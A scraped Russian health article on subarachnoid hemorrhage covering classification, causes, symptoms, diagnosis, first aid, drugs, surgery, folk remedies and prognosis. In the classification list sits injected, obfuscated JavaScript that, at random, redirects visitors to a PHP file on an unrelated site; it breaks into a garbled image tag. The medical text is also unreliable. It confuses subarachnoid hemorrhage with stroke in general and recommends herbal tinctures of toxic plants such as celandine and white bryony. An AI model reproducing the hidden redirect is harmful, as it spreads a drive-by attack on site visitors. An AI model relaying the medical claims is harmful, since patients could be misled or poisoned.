Мозг человека является центром управления всеми функциями организма: сознанием, дыханием, двигательной активностью, ритмом сердца, движением крови. Он постоянно нуждается в поступлении кислорода и питательных веществ. Головной мозг находится под защитой замкнутого пространства полости черепа, куда происходит доставка всех необходимых компонентов по сосудистому руслу. Любой сбой в тонко отлаженном механизме приводит к нарушению тех или иных неврологических процессов. К таким патологиям относится субарахноидальное кровоизлияние.
Содержание
Определение понятия
Вещество головного мозга находится в защитном окружении костей черепа и покровных оболочек: твёрдой мозговой, мягкой мозговой, паутинной. Первая — самая прочная, прилежит вплотную к полости черепа с внутренней стороны. Паутинная оболочка непосредственно контактирует с извилинами, является самой тонкой. Посередине расположена мягкая мозговая оболочка.
Любое истечение крови в полость черепа называется кровоизлиянием. Одним из его видов является субарахноидальное — кровоизлияние под паутинную оболочку головного мозга.
Синонимы субарахноидального кровоизлияния: геморрагический инсульт, апоплексический удар, кровоизлияние в мозг.
В группе риска люди старше 70 лет, страдающие повышенным артериальным давлением (артериальной гипертонией), преимущественно мужчины.
Классификация кровоизлияния в головной мозг
По расположению очага скопления крови различают:
- изолированное субарахноидальное кровоизлияние, расположенное под паутинной оболочкой, которое не затрагивает вещество мозга и внутримозговые структуры;
- субарахноидально-паренхиматозное распространяется из-под паутинной оболочки вглубь вещества мозга (паренхимы);
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/06/krovoizliyanie-v-mozg.jpg» alt=»Кровоизлияние в мозг» width=»383″ height=»230″ /> Различные варианты кровоизлияний в мозг
- субарахноидально-вентрикулярное наблюдается, когда скопление крови из-под подпаутинного пространства проникает в полости мозга, заполненные жидкостью (желудочки мозга);
- субарахноидально-паренхиматозно-вентрикулярное происходит при скоплении крови во всех анатомических отделах головного мозга.
Травматическое и нетравматическое (спонтанное) кровоизлияние
Субарахноидальное кровоизлияние может быть:
- травматическим;
- спонтанным (нетравматическим).
Первый вид развивается в результате прямого повреждения сосудов, покрывающих поверхность головного мозга. К этому приводит:
- перелом костей черепа;
- сдавление;
- ушиб головного мозга.
Спонтанное кровоизлияние возникает обычно в результате резкого скачка артериального давления при подъёме тяжести, сильном кашле, натуживании при дефекации, сильном эмоциональном напряжении.
Причины и факторы развития заболевания
По причине развития субарахноидальные кровоизлияния подразделяются на:
- Первичные: истечение крови вследствие разрыва анатомической врождённой аномалии сосудистого русла в виде патологического его расширения (аневризмы).
- Вторичные, при которых истечение крови из сосудистого русла имеет конкретную причину:
- черепно-мозговая травма;
- повышение артериального давления (гипертония);
- повышенная хрупкость сосудов;
- воспалительный процесс в стенке сосуда;
- введение некоторых лекарств, например, Маннитола. При этом резко увеличивается объём циркулирующей крови, создаются дополнительные условия для разрыва сосудистой стенки;
- нарушение регуляции мозгового кровотока в виде неконтролируемого подъёма артериального давления (эклампсия);
- иные причины. Например, крайне тяжёлое течение острого панкреатита, которое требует операции. При этом происходит развитие общей интоксикации продуктами распада поджелудочной железы, что провоцирует кровоизлияние.
К предрасполагающим факторам относятся:
- сахарный диабет;
- табакокурение;
- злоупотребление алкоголем;
- наркотическая зависимость;
- ожирение.
Клинические аспекты геморрагического инсульта — видео
Симптомы и признаки заболевания
В зависимости от этапа развития кровоизлияния различают следующие симптомы:
- В догеморрагический период (непосредственно момент разрыва сосудистой стенки) могут наблюдаться сильнейшая головная боль, чувство удара в голову, мелькание тёмных пятен перед глазами, тошнота, рвота. Однако в большинстве случаев мгновенно происходит потеря сознания, падение вследствие нарушений тонуса скелетной мускулатуры.
- В период активного истечения крови из повреждённого сосуда (геморрагический) наблюдаются очаговые неврологические симптомы в виде нарушения тех или иных функций непосредственно из-за пропитывания кровью вещества головного мозга. К ним относятся: расширение зрачка на стороне кровоизлияния, асимметрия лица, повышение тонуса скелетных мышц, нарушения дыхания, сердечного ритма, мочеиспускания, судороги. Сознание обычно угнетено до уровня комы, когда из проявлений деятельности мозга наблюдаются лишь отдельные рефлексы (генетически заложенные в организме способности отвечать на внешние раздражители определённым образом). Пациент не отвечает на вопросы, не производит активных действий. В этот период может значительно повышаться температура тела. Вследствие скопления крови под паутинной оболочкой мозга появляются симптомы её раздражения — менингеальные знаки: избыточное напряжение мышц затылка и передней поверхности голени.
- В период состоявшегося кровоизлияния (постгеморрагический) происходит стабилизация нервных функций мозга. В зависимости от объёма и расположения очага в этот период отмечаются параличи конечностей, расстройство речи. При неблагоприятном исходе нарушение сознания переходит в глубокую кому с угнетением всех неврологических процессов в мозге, которая является причиной летального исхода.
Особенности патологии у новорождённых
Субарахноидальные кровоизлияния встречаются также у новорождённых детей чаще всего вследствие родовой травмы (оперативное родоразрешение, стремительные роды, акушерские пособия). В этом случае указывают на патологический процесс в мозге постоянный плач, отказ от еды, повышение температуры, редкий пульс, косоглазие.
Методы диагностики субарахноидального кровоизлияния: МРТ, введение контраста, спинномозговая пункция
Для постановки верного диагноза необходимы следующие мероприятия:
- тщательный осмотр врача-невролога для выявления общемозговых и очаговых неврологических симптомов;
- измерение артериального давления;
- измерение температуры тела;
- для получения изображения очага кровоизлияния и оценки его размеров применяется метод компьютерной или магнитно-резонансной томографии, при подозрении на разрыв аневризмы используется заполнение сосудистого русла рентгеноконтрастным веществом (омнипак, оптирей);
- при подозрении на воспалительную природу заболевания используют спинномозговую пункцию (поясничный прокол) для получения жидкостного содержимого полостей мозга (ликвора) и оценки его состава.
Дифференциальная диагностика
Дифференциальную диагностику проводят со следующими заболеваниями:
- ишемический инсульт;
- эпилепсия;
- эклампсия;
- менингит;
- мозговой вариант инфаркта миокарда;
- грипп.
Методы лечения субарахноидального кровоизлияния: первая помощь
Больному с геморрагическим инсультом необходимо до приезда врачей оказать первую помощь:
- открыть окно и обеспечить приток свежего воздуха;
- освободить больного от стесняющей одежды, в том числе воротников, галстуков;
- уложить пострадавшего на ровную поверхность;
- повернуть голову набок для профилактики аспирации рвотных масс и облегчения дыхания;
- вызвать скорую медицинскую помощь.
Лечение заболевания проводится в условиях неврологического стационара.
Необходимо соблюдение строгого постельного режима. Производится постоянный мониторинг пульса и артериального давления, при отсутствии адекватного самостоятельного дыхания подключается искусственная вентиляция лёгких.
Медикаментозная терапия
Используются препараты:
- витамин К — Викасол для остановки истечения крови и профилактики повторного кровоизлияния;
- антагонисты кальция — Номодипин для профилактики сосудистого спазма;
- для улучшения питания клеток мозга: Мексидол, Актовегин.
Препараты для лечения субарахноидального кровоизлияния — фотогалерея
-
- Томографическое изображение субарахноидального кровоизлияния
-
- Томографическое изображение субарахноидального кровоизлияния
-
- Томографическое изображение субарахноидального кровоизлияния
-
- Томографическое изображение субарахноидального кровоизлияния
-
- По некоторым характерным признакам можно распознать инсульт
-
- Различные варианты кровоизлияний в мозг
-
- Геморрагический инсульт — острое нарушение мозгового кровообращения с прорывом сосудов и кровоизлиянием в мозг
-
- Томографическое изображение субарахноидального кровоизлияния
-
- Томографическое изображение субарахноидального кровоизлияния
-
- Томографическое изображение субарахноидального кровоизлияния
-
- Викасол используют для остановки истечения крови
-
- Мексидол улучшает мозговой метаболизм и кровоснабжение головного мозга
-
- Актовегин улучшает питание клеток мозга
-
- Алгоритм действий при геморрагическом инсульте
-
- Эндоваскулярное лечение мозговой аневризмы
-
- Томографические изображения мозга до и после оперативного лечения субарахноидального кровоизлияния
-
- Продукты пчеловодства
-
- Омела белая
-
- Пион уклоняющийся
-
- Щалфей
-
- Мумиё
-
- Пион уклоняющийся — восстанавливающее средство после перенесенного инсульта
-
- Лимон с хвоей применяется после инсульта для улучшения состояния больного
-
- В период реабилитации можно использовать настой чистотела
-
- Хвоя — замечательное народное средство для лечения последствий инсульта
-
- Восстановить здоровье после инсульта поможет переступень белый
Операция
При выявлении на томографических изображениях субарахноидального кровоизлияния больших размеров (более 60 мл) необходимо срочное хирургическое вмешательство по удалению скопления крови, вызывающего сдавление и пропитывание вещества мозга. Оперативное лечение производится под общей анестезией. Доступ осуществляется через трепанационное отверстие в черепе в проекции кровоизлияния. Производят удаление скопившихся кровяных масс с оставлением в случае необходимости пути для вновь поступающей крови — дренажа.
Если причиной кровоизлияния явилась аневризма сосуда, производят её внутрисосудистое клипирование с помощью специальных инструментов под рентгенологическим контролем.
Противопоказанием к выполнению хирургического вмешательства является глубокая кома с потерей рефлекторного ответа на внешние раздражители.
После проведения операции предусмотрено нахождение больного в отделении реанимации для контроля за жизненно важными функциями организма: ритмом сердца, артериальным давлением, неврологическим статусом, свёртыванием крови. Дальнейшая продолжительность терапии определяется индивидуально исходя из тяжести неврологических симптомов. В беседе с врачом обговаривается необходимость приёма лекарственных препаратов, повторных исследований и консультаций.
Немедикаментозное лечение
В послеоперационном периоде для скорейшего восстановления функций организма используется немедикаментозное лечение:
- лечебный массаж;
- лечебная физкультура;
- электорофорез;
- магнитотерапия;
- электромиостимуляция;
- занятия с логопедом для восстановления речи.
Народные средства в период реабилитации
Для лечения геморрагического инсульта в дополнение к вышеперечисленным мероприятиям используются народные средства:
- Пион уклоняющийся (корни):
- 1 ч. л. сухих корней измельчить и залить стаканом кипятка;
- настоять в тепле 1 час, процедить;
- принимать по 1 ст. л. 4–5 раз в день.
- Чистотел:
- 1 ст. л. измельчённого чистотела заварить 1 стаканом кипятка на 15 минут;
- процедить;
- принимать по 2 ст. л. 2–3 раза в день до еды (курс лечения 2–3 недели).
- Переступень белый:
- 1 ст. л. измельчённых корней залить 300 мл водки;
- настаивать в теплом месте 7 дней, процедить;
- принимать утром и вечером по 25 капель с водой после еды.
- Хвоя, лимон:
- очистить от кожуры половину лимона, измельчить;
- залить 1 стаканом настоя хвои (1 ст. л. хвойных игл залить стаканом кипятка, настоять 1 час, процедить);
- принимать натощак. Курс лечения 2–3 месяца.
Народные средства для лечения геморрагического инсульта — фотогалерея
-
- Томографическое изображение субарахноидального кровоизлияния
-
- Томографическое изображение субарахноидального кровоизлияния
-
- Томографическое изображение субарахноидального кровоизлияния
-
- Томографическое изображение субарахноидального кровоизлияния
-
- По некоторым характерным признакам можно распознать инсульт
-
- Различные варианты кровоизлияний в мозг
-
- Геморрагический инсульт — острое нарушение мозгового кровообращения с прорывом сосудов и кровоизлиянием в мозг
-
- Томографическое изображение субарахноидального кровоизлияния
-
- Томографическое изображение субарахноидального кровоизлияния
-
- Томографическое изображение субарахноидального кровоизлияния
-
- Викасол используют для остановки истечения крови
-
- Мексидол улучшает мозговой метаболизм и кровоснабжение головного мозга
-
- Актовегин улучшает питание клеток мозга
-
- Алгоритм действий при геморрагическом инсульте
-
- Эндоваскулярное лечение мозговой аневризмы
-
- Томографические изображения мозга до и после оперативного лечения субарахноидального кровоизлияния
-
- Продукты пчеловодства
-
- Омела белая
-
- Пион уклоняющийся
-
- Щалфей
-
- Мумиё
-
- Пион уклоняющийся — восстанавливающее средство после перенесенного инсульта
-
- Лимон с хвоей применяется после инсульта для улучшения состояния больного
-
- В период реабилитации можно использовать настой чистотела
-
- Хвоя — замечательное народное средство для лечения последствий инсульта
-
- Восстановить здоровье после инсульта поможет переступень белый
Прогноз, последствия и осложнения
Прогноз заболевания зависит от размеров субарахноидального кровоизлияния, а также степени поражения вещества мозга. К осложнениям оперативного вмешательства относятся:
- интраоперационная кровопотеря;
- инфицирование раны;
- повреждение структур головного мозга;
- острый инфаркт миокарда.
В отдалённом периоде геморрагического инсульта возможно восстановление некоторых утраченных неврологических функций, но многие изменения могут существовать пожизненно. Несмотря на проводимые лечебные мероприятия, летальность при данной патологии достигает 50–60%, а инвалидизация 75%.
Профилактика
К профилактическим мероприятиям относятся:
- контроль артериального давления и адекватное лечение артериальной гипертонии;
- контроль углеводного обмена и лечение сахарного диабета;
- отказ от алкоголя и табакокурения;
- посильные физические нагрузки.
Субарахноидальное кровоизлияние — тяжёлое заболевание головного мозга, при котором жизненно необходимо своевременное оказание комплекса лечебных мероприятий для предотвращения инвалидизации больного и летального исхода.
